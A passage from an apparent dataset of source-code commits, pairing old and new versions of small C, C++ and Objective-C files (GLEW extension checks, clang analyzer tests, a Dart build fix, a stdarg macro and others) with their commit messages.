// of this software and associated documentation files (the "Software"), to
// deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
// sell copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
// IN THE SOFTWARE.
//-----------------------------------------------------------------------------

#ifndef T_GL_H
#define T_GL_H
#include "GL/glew.h"

// Slower but reliably detects extensions
#define gglHasExtension(EXTENSION) glewGetExtension("GL_##EXTENSION")

#endif

Use different extension detection mechanism

I got this from looking at the code from the glew utility 'glewinfo' on my system it reported the following for GL_ARB_geometry_shader4:  OK [MISSING]. This lead me to believe that there are two different ways of determining extensions. The first 'OK' seems to refer to the entrypoint existing while the second one seems to refer to the extension being available.

The difference is this:
The first OK comes from : GLEW_ARB_geometry_shader4 the global whereas the second 'MISSING' comes from glewGetExtension("GL_ARB_geometry_shader4"). By replacing the gglHasExtension I got the desired result.

We may want to implement some caching if we want to keep using GLEW perhaps?

Anyway I suggest this merely as a test, I'm not sure if this is a viable long-term solution.


// RUN: %clang -### --analyze %s 2>&1 | FileCheck %s
// CHECK: -D__clang_analyzer__

// RUN: %clang --analyze %s

#ifndef __clang_analyzer__
#error __clang_analyzer__ not defined
#endif

Revert "[static analyzer][test] Test directly that driver sets D__clang_analyzer__"

This reverts commit c7541903d72765a38808e9973572a8d50c9d94fb.

git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@372685 91177308-0d34-0410-b5e6-96231b3b80d8


#ifndef DELAY_H
#define DELAY_H

#include <stdlib.h>

typedef struct drand48_data delay_t;

static inline void delay_init(delay_t * state, int id)
{
  srand48_r(id + 1, state);
}

static inline void delay_exec(delay_t * state)
{
  long n;
  lrand48_r(state, &n);

  int j;
  for (j = 50; j < 50 + n % 100; ++j) {
    __asm__ ("nop");
  }
}

#endif /* end of include guard: DELAY_H */

#ifndef DELAY_H
#define DELAY_H

#include <time.h>
#include <stdlib.h>

typedef struct drand48_data delay_t;

static inline void delay_init(delay_t * state, int id)
{
  srand48_r(time(NULL) + id, state);
}

static inline void delay_exec(delay_t * state)
{
  long n;
  lrand48_r(state, &n);

  int j;
  for (j = 50; j < 50 + n % 100; ++j) {
    __asm__ ("nop");
  }
}

#endif /* end of include guard: DELAY_H */

Use time based seed for generating random numbers.


#ifndef HALIDE_RUNTIME_MUTEX_H
#define HALIDE_RUNTIME_MUTEX_H

#include "HalideRuntime.h"

// Avoid ODR violations
namespace {

// An RAII mutex
struct ScopedMutexLock {
    halide_mutex *mutex;

    ScopedMutexLock(halide_mutex *mutex) : mutex(mutex) {
        halide_mutex_lock(mutex);
    }

    ~ScopedMutexLock() {
        halide_mutex_unlock(mutex);
    }
};

}

#endif

Add an OS mutex to Halide runtime.

Add an OS mutex to Halide runtime.

Document an issue with the POSIX thread pool.

Ensure memoization cache is cleaned up when a JITted module is
shutdown. (Also provides a way to clear the cache from AOT code.)

Former-commit-id: 67b04dc5ae26ee489f051e7ead819f482d2fccb6


extern int __VERIFIER_nondet_int();

#include <pthread.h>
#include <assert.h>

int global = 5;
pthread_mutex_t m = PTHREAD_MUTEX_INITIALIZER;

void *t_fun(void *arg) {
  return NULL;
}

int main() {
  int r = __VERIFIER_nondet_int();
  pthread_t id;

  if (r) {
    pthread_create(&id, NULL, t_fun, NULL);
  }
  else {
    global = 10;
  }
  // sync join needs to publish global also to protected/mutex_inits like enter_multithreaded

  pthread_mutex_lock(&m);
  assert(global == 5); // UNKNOWN!
  pthread_mutex_unlock(&m);

  return 0;
}

Add branched thread creation privatization test, where protected and mutex_inits are unsound


#ifndef GFX_FPS_H
#define GFX_FPS_H

#include <chrono>

namespace GFX {

  class FramesPerSecond
  {
    public:
      FramesPerSecond() : m_millisecs(0.0), m_frames(0)
      {
      }

      void startRender()
      {
        m_start = std::chrono::high_resolution_clock::now();
      }

      void stopRender()
      {
        std::chrono::time_point<std::chrono::high_resolution_clock> stop = std::chrono::high_resolution_clock::now();
        ++m_frames;
        std::cout << "# millisecs: " << std::chrono::duration_cast<std::chrono::milliseconds>(stop - m_start).count() << std::endl;
        m_millisecs += std::chrono::duration_cast<std::chrono::milliseconds>(stop - m_start).count();
      }

      double fps() const
      {
        return 1000.0 * m_frames / m_millisecs;
      }

    private:
      std::chrono::time_point<std::chrono::high_resolution_clock> m_start;
      double m_millisecs;
      int m_frames;
  };

}

#endif

Add frames per second counter..

Add frames per second counter..


/*
 * Author: Jhonatan Casale (jhc)
 *
 * Contact : jhonatan@jhonatancasale.com
 *         : casale.jhon@gmail.com
 *         : https://github.com/jhonatancasale
 *         : https://twitter.com/jhonatancasale
 *         : http://jhonatancasale.github.io/
 *
 * Create date Wed  1 Mar 02:02:10 BRT 2017
 *
 */

#include <stdlib.h>
#include <stdio.h>

int main (int argc, char **argv)
{
  int value = 0;

  do {
    printf ("Choose one:\n");
    printf ("[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]: ");
    scanf("%i", &value);
  } while ( value <= 0 || value > 10 );

  int i = 0;
  do printf ("%i\n", i);

  while ( ++i < value );

  return (EXIT_SUCCESS);
}

Add do while loop examples, really

Add do while loop examples, really


/*
 * Copyright (c) 2012-2016 Israel Jacquez
 * See LICENSE for details.
 *
 * Israel Jacquez <mrkotfw@gmail.com>
 */

#ifndef _VDP1_H_
#define _VDP1_H_

#include <vdp1/cmdt.h>
#include <vdp1/env.h>
#include <vdp1/map.h>
#include <vdp1/vram.h>

#ifdef __cplusplus
extern "C" {
#endif /* __cplusplus */

#ifdef __cplusplus
}
#endif /* __cplusplus */

#endif /* !_VDP1_H_ */

/*
 * Copyright (c) 2012-2016 Israel Jacquez
 * See LICENSE for details.
 *
 * Israel Jacquez <mrkotfw@gmail.com>
 */

#ifndef _VDP1_H_
#define _VDP1_H_

#include <vdp1/cmdt.h>
#include <vdp1/env.h>
#include <vdp1/map.h>
#include <vdp1/vram.h>

#ifdef __cplusplus
extern "C" {
#endif /* __cplusplus */

struct vdp1_transfer_status {
        union {
                struct {
                        unsigned :14;
                        unsigned vte_cef:1;
                        unsigned vte_bef:1;
                } __packed;

                uint16_t raw;
        };
} __packed __aligned(2);

        struct vdp1_mode_status {
                union {
                        struct {
                                unsigned vms_version:4;
                                unsigned :3;
                                unsigned vms_ptm1:1;
                                unsigned vms_eos:1;
                                unsigned vms_die:1;
                                unsigned vms_dil:1;
                                unsigned vms_fcm:1;
                                unsigned vms_vbe:1;
                                unsigned vms_tvm:3;
                        } __packed;

                        uint16_t raw;
                };
} __packed __aligned(2);

static inline void __attribute__ ((always_inline))
vdp1_mode_status_get(struct vdp1_mode_status *status)
{
        /* If the structure isn't aligned on a 2-byte boundary, GCC will
         * attempt to invoke memcpy() */
        *status = *(volatile struct vdp1_mode_status *)VDP1(MODR);
}

static inline void __attribute__ ((always_inline))
vdp1_transfer_status_get(struct vdp1_transfer_status *status)
{
        /* If the structure isn't aligned on a 2-byte boundary, GCC will
         * attempt to invoke memcpy() */
        *status = *(volatile struct vdp1_transfer_status *)VDP1(EDSR);
}

#ifdef __cplusplus
}
#endif /* __cplusplus */

#endif /* !_VDP1_H_ */

Add VDP1 status getters for transfer end and mode status


//
//  DSLogger.h
//  ControlPlane
//
//  Created by David Symonds on 22/07/07.
//  Modified by Vladimir Beloborodov on 01 Apr 2013.
//

@interface DSLogger : NSObject

+ (void)initialize;

+ (DSLogger *)sharedLogger;
+ (void)logFromFunction:(NSString *)fnName withInfo:(NSString *)info;

- (id)init;
- (void)dealloc;

- (void)logFromFunction:(NSString *)fnName withInfo:(NSString *)info;
- (NSString *)buffer;

#define DSLog(format, ...)	\
	[DSLogger logFromFunction:[NSString stringWithUTF8String:__PRETTY_FUNCTION__] withInfo:[NSString stringWithFormat:(format),##__VA_ARGS__]]

@end

//
//  DSLogger.h
//  ControlPlane
//
//  Created by David Symonds on 22/07/07.
//  Modified by Vladimir Beloborodov on 01 Apr 2013.
//

@interface DSLogger : NSObject

+ (void)initialize;

+ (DSLogger *)sharedLogger;
+ (void)logFromFunction:(NSString *)fnName withInfo:(NSString *)info;

- (id)init;
- (void)dealloc;

- (void)logFromFunction:(NSString *)fnName withInfo:(NSString *)info;
- (NSString *)buffer;

#define DSLog(...)	\
	[DSLogger logFromFunction:@(__PRETTY_FUNCTION__) withInfo:[NSString stringWithFormat:__VA_ARGS__]]

@end

Simplify and improve definition of DSLog macro


#ifndef CPR_TYPES_H
#define CPR_TYPES_H

#include <map>
#include <string>

namespace cpr {

    class CaseInsenstiveCompare {
      public:
        bool operator()(const std::string& a, const std::string& b) const;

      private:
        static void char_to_lower(char& c);
        static std::string to_lower(const std::string& a);
    };

    typedef std::map<std::string, std::string, CaseInsenstiveCompare> Header;
    typedef std::string Url;

}

#endif

#ifndef CPR_TYPES_H
#define CPR_TYPES_H

#include <map>
#include <string>

namespace cpr {

    class CaseInsenstiveCompare {
      public:
        bool operator()(const std::string& a, const std::string& b) const;

      private:
        static void char_to_lower(char& c);
        static std::string to_lower(const std::string& a);
    };

    using Header = std::map<std::string, std::string, CaseInsenstiveCompare>;
    using Url = std::string;

}

#endif

Use C++11 `using` instead of `typedef`

Use C++11 `using` instead of `typedef`


#include <stdio.h>
#include <string.h>

#ifdef WIN32
#define DLLEXPORT __declspec(dllexport)
#else
#define DLLEXPORT extern
#endif

DLLEXPORT Nothing()
{
    /* we don't even print something */
}

DLLEXPORT int Argless()
{
    return 2;
}

DLLEXPORT int long_and_complicated_name()
{
    return 3;
}

#include <stdio.h>
#include <string.h>

#ifdef WIN32
#define DLLEXPORT __declspec(dllexport)
#else
#define DLLEXPORT extern
#endif

DLLEXPORT void Nothing()
{
    /* we don't even print something */
}

DLLEXPORT int Argless()
{
    return 2;
}

DLLEXPORT int long_and_complicated_name()
{
    return 3;
}

Fix compiler warnings on OS X / JVM backend


//
//  FileObject.h
//  arc
//
//  Created by Jerome Cheng on 19/3/13.
//  Copyright (c) 2013 nus.cs3217. All rights reserved.
//

#import <Foundation/Foundation.h>

@interface FileObject : NSObject {
    @private
    NSURL* _url;
}

// The name of this object.
@property (strong, nonatomic) NSString* name;

// The full file path of this object.
@property (strong, nonatomic) NSString* path;

// The parent of this object (if any.)
@property (weak, nonatomic) FileObject* parent;

// The contents of this object.
@property id contents;

// Creates a FileObject to represent the given URL.
// url should be an object on the file system.
- (id)initWithURL:(NSURL*)url;

// Creates a FileObject to represent the given URL,
// with its parent set to the given FileObject.
- (id)initWithURL:(NSURL*)url parent:(FileObject*)parent;

// Refreshes the contents of this object by reloading
// them from the file system.
// Returns the contents when done.
- (id)refreshContents;

// Removes this object from the file system.
- (void)remove;

@end

//
//  FileObject.h
//  arc
//
//  Created by Jerome Cheng on 19/3/13.
//  Copyright (c) 2013 nus.cs3217. All rights reserved.
//

#import <Foundation/Foundation.h>

@interface FileObject : NSObject {
    @private
    NSURL* _url;
    id _contents;
}

// The name of this object.
@property (strong, nonatomic) NSString* name;

// The full file path of this object.
@property (strong, nonatomic) NSString* path;

// The parent of this object (if any.)
@property (weak, nonatomic) FileObject* parent;

// Creates a FileObject to represent the given URL.
// url should be an object on the file system.
- (id)initWithURL:(NSURL*)url;

// Creates a FileObject to represent the given URL,
// with its parent set to the given FileObject.
- (id)initWithURL:(NSURL*)url parent:(FileObject*)parent;

// Refreshes the contents of this object by reloading
// them from the file system.
// Returns the contents when done.
- (id)refreshContents;

// Gets the contents of this object.
- (id)getContents;

// Removes this object from the file system.
- (void)remove;

@end

Replace contents property with private array and getter.


#ifndef NORCSID
static char rcsid[]= "$Header$";
#endif

#include <stdio.h>

char *filename;

main(argc,argv) char **argv; {
	extern int nerrors;
	extern int code_in_c;
	extern int tabledebug;
	extern int verbose;

	while (argc >1 && argv[1][0]=='-') {
		switch(argv[1][1]) {
		case 'c':
			code_in_c = 0;
			break;
		case 'd':
			tabledebug++;
			break;
		case 'v':
			verbose++;
			break;
		default:
			error("Unknown flag -%c",argv[1][1]);
		}
		argc--; argv++;
	}
	if (argc==2) {
		if (freopen(argv[1],"r",stdin)==NULL) {
			error("Can't open %s",argv[1]);
			exit(-1);
		}
		filename = argv[1];
	} else
		error("Usage: %s [-c] [-d] [-v] table",argv[0]);
	initemhash();
	enterkeyw();
	initnodes();
	initio();
	yyparse();
	if (nerrors==0) {
		finishio();
		statistics();
		if (verbose)
			hallverbose();
	} else {
		errorexit();
	}
	return(nerrors==0 ? 0 : -1);
}

#ifndef NORCSID
static char rcsid[]= "$Header$";
#endif

#include <stdio.h>

char *filename;

main(argc,argv) char **argv; {
	extern int nerrors;
	extern int code_in_c;
	extern int tabledebug;
	extern int verbose;

	while (argc >1 && argv[1][0]=='-') {
		switch(argv[1][1]) {
		case 'c':
			code_in_c = 0;
			break;
		case 'd':
			tabledebug++;
			break;
		case 'v':
			verbose++;
			break;
		default:
			error("Unknown flag -%c",argv[1][1]);
		}
		argc--; argv++;
	}
	if (argc==2) {
		if (freopen(argv[1],"r",stdin)==NULL) {
			error("Can't open %s",argv[1]);
			exit(-1);
		}
		filename = argv[1];
	}
	else if (argc == 1) {
		filename = "";
	} else
		error("Usage: %s [-c] [-d] [-v] [table]",argv[0]);
	initemhash();
	enterkeyw();
	initnodes();
	initio();
	yyparse();
	if (nerrors==0) {
		finishio();
		statistics();
		if (verbose)
			hallverbose();
	} else {
		errorexit();
	}
	return(nerrors==0 ? 0 : -1);
}

Allow reading from standard input

Allow reading from standard input


/** @file
*
*  Copyright (c) 2011, ARM Limited. All rights reserved.
*
*  This program and the accompanying materials
*  are licensed and made available under the terms and conditions of the BSD License
*  which accompanies this distribution.  The full text of the license may be found at
*  http://opensource.org/licenses/bsd-license.php
*
*  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
*  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
*
**/

#include <Library/IoLib.h>
#include <Library/ArmPlatformLib.h>
#include <Library/DebugLib.h>
#include <Library/PcdLib.h>

#include <Drivers/PL341Dmc.h>
#include <Drivers/SP804Timer.h>

#include <ArmPlatform.h>

/**
  Initialize the Secure peripherals and memory regions

  If Trustzone is supported by your platform then this function makes the required initialization
  of the secure peripherals and memory regions.

**/
VOID
ArmPlatformTrustzoneInit (
  VOID
  )
{
  //ASSERT(FALSE);
  DEBUG((EFI_D_ERROR,"Initialize Trustzone Hardware\n"));
}

/**
  Initialize controllers that must setup at the early stage

  Some peripherals must be initialized in Secure World.
  For example, some L2x0 requires to be initialized in Secure World

**/
VOID
ArmPlatformSecInitialize (
  VOID
  ) {
  // Do nothing yet
}

/**
  Call before jumping to Normal World

  This function allows the firmware platform to do extra actions before
  jumping to the Normal World

**/
VOID
ArmPlatformSecExtraAction (
  IN  UINTN         CoreId,
  OUT UINTN*        JumpAddress
  )
{
  *JumpAddress = PcdGet32(PcdNormalFvBaseAddress);
}

Fix ARM RealView EB and VE builds (2)

ArmPlatformPkg: Fix ARM RealView EB and VE builds (2)

This file is missing from the earlier commit (ArmPlatformPkg: Fix ARM RealView EB and VE builds).

git-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@12235 6f19259b-4bc3-4df7-8a09-765794883524


// RUN: clang-cc -analyze -analyzer-experimental-internal-checks -checker-cfref -analyzer-experimental-checks -analyzer-store=region -verify %s
#include <stdlib.h>

void f1() {
  int *p = malloc(10);
  return; // expected-warning{{Allocated memory never released. Potential memory leak.}}
}

// THIS TEST CURRENTLY FAILS.
void f1_b() {
  int *p = malloc(10);
}

void f2() {
  int *p = malloc(10);
  free(p);
  free(p); // expected-warning{{Try to free a memory block that has been released}}
}

// This case tests that storing malloc'ed memory to a static variable which is then returned
// is not leaked.  In the absence of known contracts for functions or inter-procedural analysis,
// this is a conservative answer.
int *f3() {
  static int *p = 0;
  p = malloc(10); // no-warning
  return p;
}

// This case tests that storing malloc'ed memory to a static global variable which is then returned
// is not leaked.  In the absence of known contracts for functions or inter-procedural analysis,
// this is a conservative answer.
static int *p_f4 = 0;
int *f4() {
  p_f4 = malloc(10); // no-warning
  return p_f4;
}

// RUN: clang-cc -analyze -analyzer-experimental-internal-checks -checker-cfref -analyzer-experimental-checks -analyzer-store=region -verify %s
typedef long unsigned int size_t;
void *malloc(size_t);
void free(void *);

void f1() {
  int *p = malloc(10);
  return; // expected-warning{{Allocated memory never released. Potential memory leak.}}
}

// THIS TEST CURRENTLY FAILS.
void f1_b() {
  int *p = malloc(10);
}

void f2() {
  int *p = malloc(10);
  free(p);
  free(p); // expected-warning{{Try to free a memory block that has been released}}
}

// This case tests that storing malloc'ed memory to a static variable which is then returned
// is not leaked.  In the absence of known contracts for functions or inter-procedural analysis,
// this is a conservative answer.
int *f3() {
  static int *p = 0;
  p = malloc(10); // no-warning
  return p;
}

// This case tests that storing malloc'ed memory to a static global variable which is then returned
// is not leaked.  In the absence of known contracts for functions or inter-procedural analysis,
// this is a conservative answer.
static int *p_f4 = 0;
int *f4() {
  p_f4 = malloc(10); // no-warning
  return p_f4;
}

Remove test case's dependency on header file.

git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@88685 91177308-0d34-0410-b5e6-96231b3b80d8


//
//  AXKCollectionViewTools.h
//  Alexander Kolov
//
//  Created by Alexander Kolov on 30/10/13.
//  Copyright (c) 2013 Alexander Kolov. All rights reserved.
//

#import "UICollectionReusableView+ReuseIdentifier.h"
#import "UICollectionViewCell+IndexPath.h"
#import "UICollectionViewCell+ReuseIdentifier.h"
#import "UITableViewCell+IndexPath.h"
#import "UITableViewCell+ReuseIdentifier.h"
#import "UITableViewHeaderFooterView+ReuseIdentifier.h"

Add files to the master header

Add files to the master header


//===-- llvm/Bytecode/Reader.h - Reader for VM bytecode files ----*- C++ -*--=//
//
// This functionality is implemented by the lib/BytecodeReader library.
// This library is used to read VM bytecode files from an iostream.
//
// Note that performance of this library is _crucial_ for performance of the
// JIT type applications, so we have designed the bytecode format to support
// quick reading.
//
//===----------------------------------------------------------------------===//

#ifndef LLVM_BYTECODE_READER_H
#define LLVM_BYTECODE_READER_H

#include <string>

class Module;

// Parse and return a class...
//
Module *ParseBytecodeFile(const std::string &Filename,
                          std::string *ErrorStr = 0);
Module *ParseBytecodeBuffer(const char *Buffer, unsigned BufferSize,
                            std::string *ErrorStr = 0);

#endif

//===-- llvm/Bytecode/Reader.h - Reader for VM bytecode files ----*- C++ -*--=//
//
// This functionality is implemented by the lib/BytecodeReader library.
// This library is used to read VM bytecode files from an iostream.
//
// Note that performance of this library is _crucial_ for performance of the
// JIT type applications, so we have designed the bytecode format to support
// quick reading.
//
//===----------------------------------------------------------------------===//

#ifndef LLVM_BYTECODE_READER_H
#define LLVM_BYTECODE_READER_H

#include <string>

class Module;

// Parse and return a class...
//
Module *ParseBytecodeFile(const std::string &Filename,
                          std::string *ErrorStr = 0);
Module *ParseBytecodeBuffer(const char *Buffer, unsigned BufferSize);

#endif

Fix prototype to make function.

Fix prototype to make function.

git-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@2939 91177308-0d34-0410-b5e6-96231b3b80d8


/*!
 * @file  msvc.h
 * @brief  Provide MSVC compatibility
 * @author  koturn
 */
#ifndef KOTLIB_COMPAT_MSVC_H
#define KOTLIB_COMPAT_MSVC_H

#ifndef _MSC_VER
#  define _declspec(x)
#  define __declspec(x)
#endif

#endif  // KOTLIB_COMPAT_MSVC_H

Add header to provide MSVC compatibility


// Copyright (c) 2012, the Dart project authors.  Please see the AUTHORS file
// for details. All rights reserved. Use of this source code is governed by a
// BSD-style license that can be found in the LICENSE file.

#ifndef PLATFORM_UTILS_WIN_H_
#define PLATFORM_UTILS_WIN_H_

#include <intrin.h>

namespace dart {

inline int Utils::CountTrailingZeros(uword x) {
  uword result;
#if defined(ARCH_IS_32_BIT)
  _BitScanReverse(&result, x);
  return __builtin_ctzl(x);
#elif defined(ARCH_IS_64_BIT)
  _BitScanReverse64(&result, x);
#else
#error Architecture is not 32-bit or 64-bit.
#endif
  return static_cast<int>(result);
};

}  // namespace dart

#endif  // PLATFORM_UTILS_WIN_H_

// Copyright (c) 2012, the Dart project authors.  Please see the AUTHORS file
// for details. All rights reserved. Use of this source code is governed by a
// BSD-style license that can be found in the LICENSE file.

#ifndef PLATFORM_UTILS_WIN_H_
#define PLATFORM_UTILS_WIN_H_

#include <intrin.h>

namespace dart {

inline int Utils::CountTrailingZeros(uword x) {
  unsigned long result;  // NOLINT
#if defined(ARCH_IS_32_BIT)
  _BitScanReverse(&result, x);
#elif defined(ARCH_IS_64_BIT)
  _BitScanReverse64(&result, x);
#else
#error Architecture is not 32-bit or 64-bit.
#endif
  return static_cast<int>(result);
};

}  // namespace dart

#endif  // PLATFORM_UTILS_WIN_H_

Fix the build breakage on Windows caused by CountTrailingZeros.

Review URL: https://chromiumcodereview.appspot.com//10818020

git-svn-id: c93d8a2297af3b929165606efe145742a534bc71@9838 260f80e4-7a28-3924-810f-c04153c831b5


#ifndef MAIN_WINDOW_H
#define MAIN_WINDOW_H

#include <QGroupBox>
#include <QVBoxLayout>

#include <base_window.h>

class MainWindow : public gui::BaseWindow {
public:
    MainWindow();
    virtual ~MainWindow();

protected:
    /**
     * Callback for resize window.
     *
     * @param event[in] Event params.
     */
    void resizeEvent(QResizeEvent *event) override;

private:
    /** Result image and it's container */
    QImage result_image;
    QLabel *result_image_label;
};

#endif // MAIN_WINDOW_H

#ifndef MAIN_WINDOW_H
#define MAIN_WINDOW_H

#include <QGroupBox>
#include <QVBoxLayout>

#include <base_window.h>

class MainWindow : public gui::BaseWindow {
public:
    MainWindow();
    virtual ~MainWindow();

protected:
    /**
     * Callback for resize window.
     *
     * @param event[in] Event params.
     */
    void resizeEvent(QResizeEvent *event) override;

private slots:
    void fix_color_correct();
    void gray_world();
    void gamma_correct();
    void contrast_correct();
    void hist_normalization();
    void hist_equalization();

private:
    /** Result image and it's container */
    QImage result_image;
    QLabel *result_image_label;
};

#endif // MAIN_WINDOW_H

Add slots for second lab

Add slots for second lab


/* Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file.
 */

#include <stddef.h>

/* Default to 1dB per tick.  Volume level 100 = 0dB level 0 = -100dB. */
long cras_volume_curve_get_db_for_index(size_t volume)
{
	/* dB to cut * 100 */
	return (volume - 100) * 100;
}

/* Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file.
 */

#include <stddef.h>

/* Default to 1dB per tick.
 * Volume = 100 -> 0dB.
 * Volume = 0 -> -100dB. */
long cras_volume_curve_get_db_for_index(size_t volume)
{
	/* dB to cut * 100 */
	return (volume - 100) * 100;
}

Fix poorly worded volume comment.

CRAS: Fix poorly worded volume comment.

BUG=none
TEST=none

Change-Id: I7a5854c84bc48a393fa65c374fddd83ce7721f8d
Signed-off-by: Dylan Reid <c791bfe44996c1eed9c7149a0c5f12a86d58eb85@chromium.org>


#ifndef RANDOM_RUNTIME_H
#define RANDOM_RUNTIME_H

#include "safe_math_macros.h"

static uint32_t crc32_tab[256];
static uint32_t crc32_context = 0xFFFFFFFFUL;

/*static void
crc32_gentab (void)
{
	uint32_t crc;
	const uint32_t poly = 0xEDB88320UL;
	int i, j;

	for (i = 0; i < 256; i++) {
		crc = i;
		for (j = 8; j > 0; j--) {
			if (crc & 1) {
				crc = (crc >> 1) ^ poly;
			} else {
				crc >>= 1;
			}
		}
		crc32_tab[i] = crc;
	}
}

static void
crc32_byte (uint8_t b) {
	crc32_context =
		((crc32_context >> 8) & 0x00FFFFFF) ^
		crc32_tab[(crc32_context ^ b) & 0xFF];
}

static void
crc32_8bytes (uint64_t val)
{
	crc32_byte ((val>>0) & 0xff);
	crc32_byte ((val>>8) & 0xff);
	crc32_byte ((val>>16) & 0xff);
	crc32_byte ((val>>24) & 0xff);
	crc32_byte ((val>>32) & 0xff);
	crc32_byte ((val>>40) & 0xff);
	crc32_byte ((val>>48) & 0xff);
	crc32_byte ((val>>56) & 0xff);
}

static void
transparent_crc (uint64_t val, const __constant char* vname, int flag)
{
	crc32_8bytes(val);
}*/

static inline void crc32_gentab (void)
{
}

static inline void
transparent_crc (uint32_t val, const __constant char* vname, int flag)
{
  crc32_context += val;
}

#endif /* RANDOM_RUNTIME_H */

Include for OpenCL progs. Similar to the csmith include. Will only work with the minimal version at the moment.


#pragma once

#include "xchainer/macro.h"

namespace xchainer {

template <typename T>
class ArithmeticOps {
public:
    XCHAINER_HOST_DEVICE static T Add(T lhs, T rhs) { return lhs + rhs; }
    XCHAINER_HOST_DEVICE static T Multiply(T lhs, T rhs) { return lhs * rhs; }
    XCHAINER_HOST_DEVICE static T Divide(T lhs, T rhs) { return lhs / rhs; }
};

template <>
class ArithmeticOps<bool> {
public:
    XCHAINER_HOST_DEVICE static bool Add(bool lhs, bool rhs) { return lhs || rhs; }
    XCHAINER_HOST_DEVICE static bool Multiply(bool lhs, bool rhs) { return lhs && rhs; }
    XCHAINER_HOST_DEVICE static bool Divide(bool lhs, bool rhs) { return lhs && rhs; }
};

}  // namespace xchainer

#pragma once

#include "xchainer/macro.h"

namespace xchainer {

template <typename T>
class ArithmeticOps {
public:
    XCHAINER_HOST_DEVICE static T Add(T lhs, T rhs) { return lhs + rhs; }
    XCHAINER_HOST_DEVICE static T Multiply(T lhs, T rhs) { return lhs * rhs; }
    XCHAINER_HOST_DEVICE static T Divide(T lhs, T rhs) { return lhs / rhs; }
};

template <>
class ArithmeticOps<bool> {
public:
    XCHAINER_HOST_DEVICE static bool Add(bool lhs, bool rhs) { return lhs || rhs; }
    XCHAINER_HOST_DEVICE static bool Multiply(bool lhs, bool rhs) { return lhs && rhs; }
    // TODO(beam2d): It's a tentative implementation. Make distinction between TrueDivide and FloorDivide for better NumPy compatibility.
    // The current implementation is of boolean FloorDivide except for warnings.
    XCHAINER_HOST_DEVICE static bool Divide(bool lhs, bool rhs) { return lhs && rhs; }
};

}  // namespace xchainer

Add a TODO comment about boolean division


/**
 * GENERATED FILE
 */
#include <kernel/irq.h>

#include "main.h"
#include "stm32_PLATFORM_xx_it.h"

#define EMBOX_STM32_IRQ_HANDLER(prefix) \
	static irq_return_t embox_##prefix##_IRQHandler(unsigned int irq_nr, void *data) { \
		prefix##_IRQHandler(); \
		return IRQ_HANDLED; \
	}

_IRQ_HANDLERS_DECLARE_

extern void (*cortexm_external_clock_hnd)(void);

int embox_stm32_setup_irq_handlers(void) {
	int res = 0;

	cortexm_external_clock_hnd = SysTick_Handler;

_STM32_IRQ_ATTACH_

	return res;
}

Add forgotten file for 3f2e592

stm32: Add forgotten file for 3f2e592


#ifndef __STDARG_H
#define __STDARG_H

#include "sys/types.h"

typedef void *va_list;

#define va_start(l, arg) l = (void *)&arg
#define va_arg(l, type) (*(type *)(l += __WORDSIZE / 8))
#define va_end(l)

#endif

#ifndef __STDARG_H
#define __STDARG_H

#include "sys/types.h"

typedef void *va_list;

#define va_start(l, arg) l = (void *)&arg
/*
 * va_arg assumes arguments are promoted to
 * machine-word size when pushed onto the stack
 */
#define va_arg(l, type) (*(type *)(l += sizeof *l))
#define va_end(l)

#endif

Move by machine word size

Move by machine word size


/*
 * Copyright (C) 2008-2009  Advanced Micro Devices, Inc.
 *
 * Permission is hereby granted, free of charge, to any person obtaining a
 * copy of this software and associated documentation files (the "Software"),
 * to deal in the Software without restriction, including without limitation
 * the rights to use, copy, modify, merge, publish, distribute, sublicense,
 * and/or sell copies of the Software, and to permit persons to whom the
 * Software is furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
 * in all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
 * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL
 * THE COPYRIGHT HOLDER(S) BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
 * AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
 * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 */

/*
 * Authors:
 *   Richard Li <RichardZ.Li@amd.com>, <richardradeon@gmail.com>
 */

#ifndef _R700_DRICONF_H_
#define _R700_DRICONF_H_

#define DRI_CONF_FP_OPTIMIZATION_SPEED   0
#define DRI_CONF_FP_OPTIMIZATION_QUALITY 1

#endif /* _R700_DRICONF_H_ */

Add missing file from local.

Add missing file from local.


/**
 * Copyright (c) 2015-present, Facebook, Inc.
 * All rights reserved.
 *
 * This source code is licensed under the BSD-style license found in the
 * LICENSE file in the root directory of this source tree. An additional grant
 * of patent rights can be found in the PATENTS file in the same directory.
 */

#import <Foundation/Foundation.h>

NS_ASSUME_NONNULL_BEGIN

/**
 Accessors for Global Constants.
 */
@interface FBConfiguration : NSObject

